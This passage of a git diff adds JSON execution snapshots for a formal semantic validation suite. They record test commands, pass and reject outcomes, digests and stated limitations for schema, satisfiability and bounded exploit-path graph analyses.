"fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1338-execution-v41", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1338-execution-v41", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1338-execution-v41", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1338-execution-v41", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1338-execution-v41", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "a1194a61ca922029a83cb57823e6af57067a56ef", + "source_state": { + "base_revision": "a1194a61ca922029a83cb57823e6af57067a56ef", + "checkout_state": "modified", + "implementation_digest": "ec21ef034fd21398756470c3c95650c263cd2abc9461d6669d8d916dd60aba59", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.14.4", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v42.json b/docs/research/formal-semantic-validation/execution-snapshot-v42.json new file mode 100644 index 000000000..8066b5f8d --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v42.json @@ -0,0 +1,657 @@ +{ + "baseline": { + "execution_id": "issue-1069-execution-v40", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v40.json", + "release_revision": "41.0.0", + "release_sha256": "938a6c848545bedaccf5beec5559d9cb03cb2e8a60a0b916f7c0cbf2dbd13635" + }, + "captured_at": "2026-09-21T13:22:41.111184+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v29", + "corpus_revision": "3.0.0", + "deviations": [], + "execution_id": "issue-218-execution-v41", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-218-execution-v41", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-218-execution-v41", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml" + ], + "execution_id": "issue-218-execution-v41", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml" + ], + "execution_id": "issue-218-execution-v41", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-218-execution-v41", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-218-execution-v41", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-218-execution-v41", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-218-execution-v41", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-218-execution-v41", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-218-execution-v41", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-218-execution-v41", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-218-execution-v41", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "implementations/python/tests/test_pipeline_determinism.py" + ], + "execution_id": "issue-218-execution-v41", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-218-execution-v41", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-218-execution-v41", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-218-execution-v41", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-218-execution-v41", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-218-execution-v41", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-218-execution-v41", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-218-execution-v41", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-218-execution-v41", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-218-execution-v41", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-218-execution-v41", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-218-execution-v41", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-218-execution-v41", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-218-execution-v41", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-218-execution-v41", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "ccf9af047663d013c37437524a82d0b34797dc7e", + "source_state": { + "base_revision": "ccf9af047663d013c37437524a82d0b34797dc7e", + "checkout_state": "modified", + "implementation_digest": "c575182c51a05f42876218f61347e0df5d8f495ee855fcdacf6f42df35e2091e", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.13.13", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v43.json b/docs/research/formal-semantic-validation/execution-snapshot-v43.json new file mode 100644 index 000000000..e5719066d --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v43.json @@ -0,0 +1,657 @@ +{ + "baseline": { + "execution_id": "issue-218-execution-v41", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v42.json", + "release_revision": "43.0.0", + "release_sha256": "b52da1813e05be8d6c17d50294a575c7840b2635b0f5ba59a237efa3619e403d" + }, + "captured_at": "2026-09-21T13:54:09.331869+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v29", + "corpus_revision": "3.0.0", + "deviations": [], + "execution_id": "issue-218-execution-v42", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-218-execution-v42", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": 